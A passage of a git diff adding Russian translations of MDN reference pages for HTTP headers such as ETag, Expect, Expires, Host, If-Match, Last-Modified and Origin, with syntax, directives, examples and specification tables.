Если ресурс по заданному URL изменился, будет сгенерированно новое значение Etag. Поэтому Etag чем-то похож на отпечаток ("fingerprints") и может также быть использован для отслеживания предназначения некоторых серверов. Сравнение этих заголовков позволяет быстро определить являются ли два представления ресурса одними и теме же. Отслеживаемый сервер также может задать сохранять их постоянно.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Заголовок ответа")}}
{{Glossary("Запрещенное имя заголовка")}}нет
+ +

Синтаксис

+ +
ETag: W/"<etag_value>"
+ETag: "<etag_value>"
+
+ +

Директивы

+ +
+
W/ {{optional_inline}}
+
'W/' (чувствителен к регистру) указывает, что используется слабый валидатор. Слабые валидаторы легко сгенерировать, но они намного реже используются для сравнения. Сильные валидаторы идеальны для сравнения, но их может быть очень сложно сгенерировать эффективно. Слабое значение Etag двух представлений одного и того же ресурса может быть семантически одинаково, но не байт-в-байт.
+
"<etag_value>"
+
Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключенная в двойные кавычки (например, "675af34563dc-tr34"). Метод, по которому генерируются значения ETag, не определен. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатиричных хэш wiki-содержимого.
+
+ +

Примеры

+ +
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"
+ +

Как избежать коллизий в процессе работы приложения

+ +

С помощью заголовков ETag и {{HTTPHeader("If-Match")}}, существует возможность обнаружить коллизии в процессе работы приложения.

+ +

Например, при редактировании MDN, текущее содержимое статьи захэшировано и помещено в ответ при помощи заголовока Etag:

+ +
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

При сохранении изменений в статье (данные отправляются), {{HTTPMethod("POST")}} запрос будет содержать заголовок {{HTTPHeader("If-Match")}}, значение которого эквивалетно значению ETag. Это позволяет проверить актуальность данных.

+ +
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

Если хэши из заголовков не совпадают, это означает что данные уже были изменены между запросами (in-between) и будет возвращена ошибка {{HTTPStatus("412")}} Precondition Failed.

+ +

Кэширование неизменямых ресурсов

+ +

Другая типичная ситуация для использования ETag — кэширование ресурсов, которые не будут изменяться. Если пользователь повторно посещает URL-адрес (с установленным заголовком ETag), и при этом данные слишком устарели и не могут быть использованы, тогда клиент отправит значение ETag внутри заголовка {{HTTPHeader("If-None-Match")}}:

+ +
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

После чего сервер сравнит клиентский ETag (отправленный с помощью If-None-Match) с ETag для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернет статус {{HTTPStatus("304")}} Not Modified, без тела ответа. Такой ответ сервера сообщает клиенту, что закэшированная версия ресурса актуальна и готова к использованию.

+ +

Спецификации

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7232", "ETag", "2.3")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.ETag")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expect/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expect/index.html" new file mode 100644 index 0000000000..80a785befa --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expect/index.html" @@ -0,0 +1,87 @@ +--- +title: Expect +slug: Web/HTTP/Заголовки/Expect +translation_of: Web/HTTP/Headers/Expect +--- +
{{HTTPSidebar}}
+ +

Запрос "HTTP Expect" указывает ожидания, которые должен выполнить сервер, чтобы правильно обработать запрос.

+ +

Единственным ожиданием, определенным в спецификации, является "Expect: 100-continue", на который сервер должен ответить:

+ + + +

Например, сервер может отклонить запрос, если его {{HTTPHeader("Content-Length")}} слишком большой.

+ +

Обычные браузеры не отправляют заголовок Expect, но некоторые другие , такие как cURL, делают это по умолчанию.

+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +

Никаких других ожиданий, кроме «100-continue», не указано

+ +
Expect: 100-continue
+
+ +

Директивы

+ +
+
100-continue
+
Сообщает получателям, что клиент собирается отправить (по-видимому большой) тело сообщения в этот запрос и хочет получить промежуточный ответ  {{HTTPStatus("100")}} (Continue).
+
+ +

Примеры

+ +

Большой текст сообщения

+ +

Клиент отправляет запрос с заголовком Expect и ожидает ответа сервера перед отправкой тела сообщения.

+ +
PUT /somewhere/fun HTTP/1.1
+Host: origin.example.com
+Content-Type: video/h264
+Content-Length: 1234567890987
+Expect: 100-continue
+
+ +

Сервер теперь проверяет  запрос и может ответить с ответом {{HTTPStatus("100")}} (Continue), чтобы дать клиенту указание продолжить и отправить тело сообщения, или он отправит  {{HTTPStatus("417")}} (Expectation Failed), если какие-либо из ожиданий не могут быть выполнены.

+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "Expect", "5.1.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ +

Известно, что обычные браузеры не отправляют этот заголовок.

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expires/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expires/index.html" new file mode 100644 index 0000000000..2d946f0724 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expires/index.html" @@ -0,0 +1,80 @@ +--- +title: Expires +slug: Web/HTTP/Заголовки/Expires +tags: + - HTTP + - Заголовки + - Кеширование + - Ответ сервера +translation_of: Web/HTTP/Headers/Expires +--- +
{{HTTPSidebar}}
+ +

Заголовок Expires содержит дату/время, по истечении которой ответ сервера считается устаревшим.

+ +

Прошедшая или невалидная дата, например 0, обозначает, что ресурс уже устарел.

+ +

Если в ответе с сервера установлен заголовок {{HTTPHeader("Cache-Control")}} с директивами "max-age" или "s-maxage" , заголовок Expires игнорируется. 

+ + + + + + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}нет
{{Glossary("Simple response header", "CORS безопасный заголовок ")}}да
+ +

Синтакс

+ +
Expires: <http-date>
+
+ +

Директивы

+ +
+
<http-date>
+
+

HTTP-дата и время.

+
+
+ +

Примеры

+ +
Expires: Wed, 21 Oct 2015 07:28:00 GMT
+ +

Спецификация

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7234", "Expires", "5.3")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+ +

Совместимость браузера

+ + + +

{{Compat("http/headers/expires")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/host/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/host/index.html" new file mode 100644 index 0000000000..4b99e7233c --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/host/index.html" @@ -0,0 +1,72 @@ +--- +title: Host +slug: Web/HTTP/Заголовки/Host +translation_of: Web/HTTP/Headers/Host +--- +
{{HTTPSidebar}}
+ + + +

Заголовок Host содержит имя домена, для которого предназначен запрос и, опционально, номер порта.

+ +

Если порт не указан, то используется умолчательный порт протокола/сервиса (например «80» для HTTP, "443" для HTTPS и т.д.).

+ +

Каждый HTTP/1.1 запрос должен содержать один и только один заголовок Host, в ином случае ответ будет с кодом статуса {{HTTPStatus("400")}}  (Bad Request).

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}} Неизменяемыйда
+ +

Синтакс

+ +
Host: <host>:<port>
+
+ +

Обозначения

+ +
+
<host>
+
доменное имя сервера
+
<port> {{optional_inline}}
+
номер порта
+
+ +

Пример

+ +
Host: developer.cdn.mozilla.net
+ +

Спецификации

+ + + + + + + + + + + + +
Стандарт/спецификацияНазвание
{{RFC("7230", "Host", "5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Совместимость браузеров

+ + + +

{{Compat("http.headers.Host")}}

+ +

См. ещё

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-match/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-match/index.html" new file mode 100644 index 0000000000..e2c403a90f --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-match/index.html" @@ -0,0 +1,86 @@ +--- +title: If-Match +slug: Web/HTTP/Заголовки/If-Match +translation_of: Web/HTTP/Headers/If-Match +--- +
{{HTTPSidebar}}
+ +

Заголовок HTTP-запроса If-Match делает запрос условным. Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} сервер отправляет запрошенный ресурс только в том случае, если он соответствует одному из перечисленных ETags. Для {{HTTPMethod("PUT")}} и других небезопасных методов он будет загружать только ресурс в этом случае.

+ +

Сравнение с хранимым {{HTTPHeader("ETag")}} использует сильный алгоритм сравнения, то есть два файла считаются одинаковыми байтами только байтом. Это ослабляется, когда префикс W/используется перед ETag.

+ +

Существует два распространенных варианта использования:

+ + + + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +
If-Match: <etag_value>
+If-Match: <etag_value>, <etag_value>, …
+
+ +

Директивы

+ +
+
<etag_value>
+
Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещенных между двойными кавычками (например, "675af34563dc-tr34") и могут быть префиксами W/, чтобы указать, что следует использовать слабый алгоритм сравнения.
+
*
+
Звездочка представляет собой специальное значение, представляющее любой ресурс.
+
+ +

Примеры

+ +
If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
+
+If-Match: W/"67ab43", "54ed21", "7892dd"
+
+If-Match: *
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификвцияНазвание
{{RFC("7232", "If-Match", "3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Совместимость с браузером

+ + + +

{{Compat("http/headers/if-match")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-modified-since/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-modified-since/index.html" new file mode 100644 index 0000000000..28769b20ae --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-modified-since/index.html" @@ -0,0 +1,94 @@ +--- +title: If-Modified-Since +slug: Web/HTTP/Заголовки/If-Modified-Since +tags: + - HTTP + - Заголовки HTTP + - Заголовки запроса + - Условные запросы +translation_of: Web/HTTP/Headers/If-Modified-Since +--- +
{{HTTPSidebar}}
+ +

Заголовок HTTP запроса If-Modified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменен после указанной даты. Если запрос не был изменен после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.

+ +

При использовании в сочетании с {{HTTPHeader("If-None-Match")}} заголовок If-Modified-Since игнорируется, кроме тех случаев, когда сервер не поддерживает If-None-Match.

+ +

Наиболее распространенным вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.

+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +
If-Modified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
+
+ +

Директивы

+ +
+
<day-name>
+
День недели ("Mon", "Tue", "Wed", "Thu", "Fri", "Sat" или "Sun") с учётом регистра.
+
<day>
+
День (2 цифры), например, "04" или "23".
+
<month>
+
Название месяца ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec") с учётом регистра.
+
<year>
+
Год (4 цифры), например, "1990" или "2016".
+
<hour>
+
Час (2 цифры), например, "09" или "23".
+
<minute>
+
Минута (2 цифры), например, "04" или "59".
+
<second>
+
Секунда (2 цифры), например, "04" or "59".
+
GMT
+
+

Среднее время по Гринвичу (Greenwich Mean Time). HTTP даты всегда представлены как GMT время и никогда как локальное.

+
+
+ +

Примеры

+ +
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7232", "If-Modified-Since", "3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Совместимость с браузером

+ + + +

{{Compat("http/headers/if-modified-since")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-unmodified-since/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-unmodified-since/index.html" new file mode 100644 index 0000000000..c451f97a4d --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-unmodified-since/index.html" @@ -0,0 +1,103 @@ +--- +title: If-Unmodified-Since +slug: Web/HTTP/Заголовки/If-Unmodified-Since +tags: + - HTTP + - Заголовок HTTP + - Справка + - заголовок запроса +translation_of: Web/HTTP/Headers/If-Unmodified-Since +--- +
+

{{HTTPSidebar}}

+ +

HTTP-заголовок запроса If-Unmodified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменен после указанной даты. Если запрос был изменен после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.

+ +

Существует два распространенных варианта использования:

+ + +
+ + + + + + + + + + + + + + +
Тип заголовка{{Glossary("Request header", "Заголовок запроса")}}
{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}Нет
+ +

Синтаксис

+ +
If-Unmodified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
+
+ +

Директивы

+ +
+
<day-name>
+
One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).
+
<day>
+
2 digit day number, e.g. "04" or "23".
+
<month>
+
One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).
+
<year>
+
4 digit year number, e.g. "1990" or "2016".
+
<hour>
+
2 digit hour number, e.g. "09" or "23".
+
<minute>
+
2 digit minute number, e.g. "04" or "59".
+
<second>
+
2 digit second number, e.g. "04" or "59".
+
GMT
+
+

Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.

+
+
+ +

Примеры

+ +
If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7232", "If-Unmodified-Since", "3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Совместимость с браузерами

+ + + +

{{Compat("http/headers/if-unmodified-since")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/index.html" new file mode 100644 index 0000000000..41c24031f8 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/index.html" @@ -0,0 +1,573 @@ +--- +title: Заголовки HTTP +slug: Web/HTTP/Заголовки +tags: + - HTTP + - Заголовки +translation_of: Web/HTTP/Headers +--- +

{{ HTTPSidebar }}

+ +

Заголовки HTTP позволяют клиенту и серверу отправлять дополнительную информацию с HTTP запросом или ответом. В HTTP-заголовке содержится не чувствительное к регистру название, а затем после (:) непостредственно значение. Пробелы перед значением игнорируются.

+ +

Пользовательские собственные заголовки исторически использовались с префиксом X, но это соглашение было объявлено устаревшим в июне 2012 года из-за неудобств, вызванных тем, что нестандартные поля стали стандартом в RFC 6648; другие перечислены в реестре IANA, исходное содержимое которого было определено в RFC 4229. IANA также поддерживает реестр предлагаемых новых заголовков HTTP.

+ +

HTTP-заголовки сопровождают обмен данными по протоколу HTTP. Они могут содержать описание данных и информацию, необходимую для взаимодействия между клиентом и сервером. Заголовки и их статусы перечислены в реестре IANA, который постоянно обновляется.

+ +

Заголовки могут быть сгруппированы по следующим контекстам:

+ + + +

Заголовки также могут быть сгруппированы согласно тому, как прокси (proxies) обрабатывают их:

+ + + +

Сквозные заголовки
+      Эти заголовки должны быть переданы конечному получателю сообщения: серверу для запроса или клиенту для ответа. Промежуточные прокси-серверы должны повторно передавать эти заголовки без изменений, а кэши должны их хранить.

+ +

Хоп-хоп заголовки (Хоп-хоп заголовки)
+      Эти заголовки имеют смысл только для одного соединения транспортного уровня и не должны повторно передаваться прокси или кэшироваться. Обратите внимание, что с помощью общего заголовка {{httpheader ("Connection")}} могут быть установлены только заголовки переходов.

+ +

Аутентификация

+ +
+
+ +


+ {{HTTPHeader("WWW-Authenticate")}}
+ Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.
+ {{HTTPHeader ( "Authorization")}}
+ Содержит учетные данные для аутентификации агента пользователя на сервере.
+ {{HTTPHeader ( "Proxy-Authenticate")}}
+ Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.
+ {{HTTPHeader ( "Proxy-Authorization")}}
+ Содержит учетные данные для аутентификации агента пользователя с прокси-сервером.

+ +

Ниже перечислены основные HTTP заголовки с кратким описанием:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ЗаголовокОписаниеПодробнееСтандарт
AcceptСписок MIME типов, которые ожидает клиент.HTTP Content NegotiationHTTP/1.1
Accept-CH +

{{non-standard_inline}}

+ 		Список конфигурационных данных, которые могут быть учтены сервером при выборе соответствующего ответа клиенту.HTTP Client Hints
Accept-CharsetСписок кодировок, которые ожидает клиент.HTTP Content NegotiationHTTP/1.1
Accept-FeaturesHTTP Content NegotiationRFC 2295, §8.2
Accept-EncodingСпиcок форматов сжатия данных, которые поддерживает клиент.HTTP Content NegotiationHTTP/1.1
Accept-LanguageОпределяет языковые предпочтения клиента.HTTP Content NegotiationHTTP/1.1
Accept-Ranges
Access-Control-Allow-CredentialsHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}W3C Cross-Origin Resource Sharing
Access-Control-Allow-OriginHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}W3C Cross-Origin Resource Sharing
Access-Control-Allow-MethodsHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}W3C Cross-Origin Resource Sharing
Access-Control-Allow-HeadersHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}W3C Cross-Origin Resource Sharing
Access-Control-Max-AgeHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}W3C Cross-Origin Resource Sharing
Access-Control-Expose-HeadersHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("2") }}W3C Cross-Origin Resource Sharing
Access-Control-Request-MethodHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}W3C Cross-Origin Resource Sharing
Access-Control-Request-HeadersHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}W3C Cross-Origin Resource Sharing
Age
Allow
AlternatesHTTP Content NegotiationRFC 2295, §8.3
Authorization
Cache-ControlHTTP Caching FAQ
ConnectionОпределяет, остается ли сетевое соединение открытым после завершения текущей транзакции (запроса).
Content-Encoding
Content-Language
Content-Length
Content-Location
Content-MD5{{ unimplemented_inline("232030") }}
Content-Range
Content-Security-PolicyРеализует механизм защиты от угроз межсайтового выполнения скриптов.CSP (Content Security Policy)W3C Content Security Policy
Content-TypeПозволяет клиенту определить MIME тип документа.
CookieRFC 2109
DNTWith a value of 1, indicates that the user explicitly opts out of any form of online tracking.Supported by Firefox 4, Firefox 5 for mobile, IE9, and a few major companies.{{SpecName("Tracking")}}
Date
ETagHTTP Caching FAQ
Expect
ExpiresHTTP Caching FAQ
From
Host
If-Match
If-Modified-SinceHTTP Caching FAQ
If-None-MatchHTTP Caching FAQ
If-Range
If-Unmodified-Since
Last-Event-IDСодержит идентификатор последнего события полученного клиентом от сервера в предыдущем HTTP запросе. Используется для восстановления синхронизации потока text/event-stream.Server-Sent EventsServer-Sent Events spec
Last-ModifiedHTTP Caching FAQ
LinkСодержит ссылки на связанные ресурсы и определяет их отношение к отправленному документу. +

For the rel=prefetch case, see Link Prefetching FAQ

+ 		+

Introduced in HTTP 1.1's RFC 2068, section 19.6.2.4, it was removed in the final HTTP 1.1 spec, then reintroduced, with some extensions, in RFC 5988

+
Location
Max-Forwards
NegotiateHTTP Content NegotiationRFC 2295, §8.4
OriginHTTP Access Control and Server Side Access Control{{ gecko_minversion_inline("1.9.1") }}More recently defined in the Fetch spec (see Fetch API.) Originally defined in W3C Cross-Origin Resource Sharing
Pragmafor the pragma: nocache value see HTTP Caching FAQ
Proxy-Authenticate
Proxy-Authorization
Range
Referer +

Содержит URL-адрес ресурса, из которого был запрошен обрабатываемый запрос. Если запрос поступил из закладки, прямого ввода адреса пользователем или с помощью других методов, при которых исходного ресурса нет, то этот заголовок отсутствует или имеет значение "about:blank".

+ +
+

Это ошибочное имя заголовка (referer, вместо referrer) было введено в спецификацию HTTP/0.9, и ошибка должна была быть сохранена в более поздних версиях протокола для совместимости.

+
+
Retry-After
Sec-Websocket-Extensions Websockets
Sec-Websocket-Key Websockets
Sec-Websocket-Origin Websockets
Sec-Websocket-Protocol Websockets
Sec-Websocket-Version Websockets
Server
Set-CookieRFC 2109
Set-Cookie2RFC 2965
Strict-Transport-SecurityHTTP Strict Transport SecurityIETF reference
TCNHTTP Content NegotiationRFC 2295, §8.5
TE
Trailerlists the headers that will be transmitted after the message body, in a trailer block. This allows servers to compute some values, like Content-MD5: while transmitting the data. Note that the Trailer: header must not list the Content-Length:, Trailer: or Transfer-Encoding: headers.RFC 2616, §14.40
Transfer-Encoding
Upgrade
User-Agentfor Gecko's user agents see the User Agents Reference
Variant-VaryHTTP Content NegotiationRFC 2295, §8.6
Varylists the headers used as criteria for choosing a specific content by the web server. This server is important for efficient and correct caching of the resource sent.HTTP Content Negotiation & HTTP Caching FAQ
Via
Warning
WWW-Authenticate
X-Content-DurationConfiguring servers for Ogg media
X-Content-Security-PolicyUsing Content Security Policy
X-DNSPrefetch-ControlControlling DNS prefetching
X-Frame-OptionsThe XFrame-Option Response Header
X-Requested-WithOften used with the value "XMLHttpRequest" when it is the caseNot standard
+ +

Примечание

+ +
+

Note: The Keep-Alive request header is not sent by {{Gecko ("5.0") }}; previous versions did send it but it was not formatted correctly, so the decision was made to remove it for the time being. The {{ httpheader("Connection") }} or {{ httpheader("Proxy-Connection") }} header is still sent, however, with the value "keep-alive".

+
+ +

Смотри также

+ +

Wikipedia page on List of HTTP headers

diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/last-modified/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/last-modified/index.html" new file mode 100644 index 0000000000..e5d4b34510 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/last-modified/index.html" @@ -0,0 +1,94 @@ +--- +title: Last-Modified +slug: Web/HTTP/Заголовки/Last-Modified +tags: + - HTTP + - HTTP Header + - Reference + - Response Header +translation_of: Web/HTTP/Headers/Last-Modified +--- +
{{HTTPSidebar}}
+ +

Заголовок Last-Modified в ответе HTTP содержит дату и время, в которую, по мнению удаленного сервера, запрашиваемый ресурс был изменен. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надежный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.

+ + + + + + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}нет
{{Glossary("Simple response header", "CORS-safelisted response-header")}}да
+ +

Синтакс

+ +
Last-Modified: <имя-дня>, <номер-дня> <имя-месяца> <год> <час>:<минута>:<секунда> GMT
+
+ +

Директивы

+ +
+
<имя-дня>
+
Одно из: "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (чувствительно к регистру).
+
<номер-дня>
+
Номер дня из двух цифр, например "04" или "23".
+
<имя-месяца>
+
Одно из: "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (чувствительно к регистру).
+
<год>
+
Номер года из четырёх цифр, например "1990" или "2016".
+
<час>
+
Номер часа из двух цифр, например "09" или "23".
+
<минута>
+
Номер минуты из двух цифр, например "04" или "59".
+
<секунда>
+
Номер секунды из двух цифр, например "04" или "59".
+
GMT
+
+

Greenwich Mean Time. HTTP даты всегда представлены GMT, и никогда — в локальном поясе.

+
+
+ +

Примеры

+ +
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7232", "Last-Modified", "2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Last-Modified")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/origin/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/origin/index.html" new file mode 100644 index 0000000000..8b8ad319c7 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/origin/index.html" @@ -0,0 +1,77 @@ +--- +title: Origin +slug: Web/HTTP/Заголовки/Origin +translation_of: Web/HTTP/Headers/Origin +--- +
{{HTTPSidebar}}
+ +
Заголовок запроса Origin показывает откуда будет производиться загрузка. Он не включает в себя какую-либо информацию о пути, содержит в себе лишь имя сервера. Заголовок отправляется как с {{Glossary("CORS")}}, так и с {{HTTPMethod("POST")}} запросами. Он похож на заголовок {{HTTPHeader("Referer")}}, но, в отличие от этого заголовка, не раскрывает весь путь.
+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Синтаксис

+ +
Origin: ""
+Origin: <протокол> "://" <имя_хоста> [ ":" <порт> ]
+
+ +

Origin может быть пустой строкой: это полезно, например, если источником данных будет URL.

+ +

Директивы

+ +
+
<протокол>
+
Используемый протокол. Обычно это HTTP протокол, или его защищённая версия HTTPS.
+
<имя_хоста>
+
Доменное имя сервера (для виртуального хостинга) или IP.
+
<порт> {{optional_inline}}
+
Номер TCP порта, который сервер будет слушать. Если порт не задан, будет использован порт по умолчанию для указаного сервиса (например "80" для HTTP).
+
+ +

Примеры

+ +
Origin: https://developer.mozilla.org
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationComment
{{RFC("6454", "Origin", "7")}}The Web Origin Concept
{{SpecName('Fetch','#origin-header','Origin header')}}Supplants the Origin header as defined in RFC6454.
+ +

Совместимость с браузером

+ + + +

{{Compat("http.headers.Origin")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/pragma/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/pragma/index.html" new file mode 100644 index 0000000000..c53891dd44 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/pragma/index.html" @@ -0,0 +1,78 @@ +--- +title: Pragma +slug: Web/HTTP/Заголовки/Pragma +tags: + - Прагма + - кэш +translation_of: Web/HTTP/Headers/Pragma +--- +
{{HTTPSidebar}}
+ +

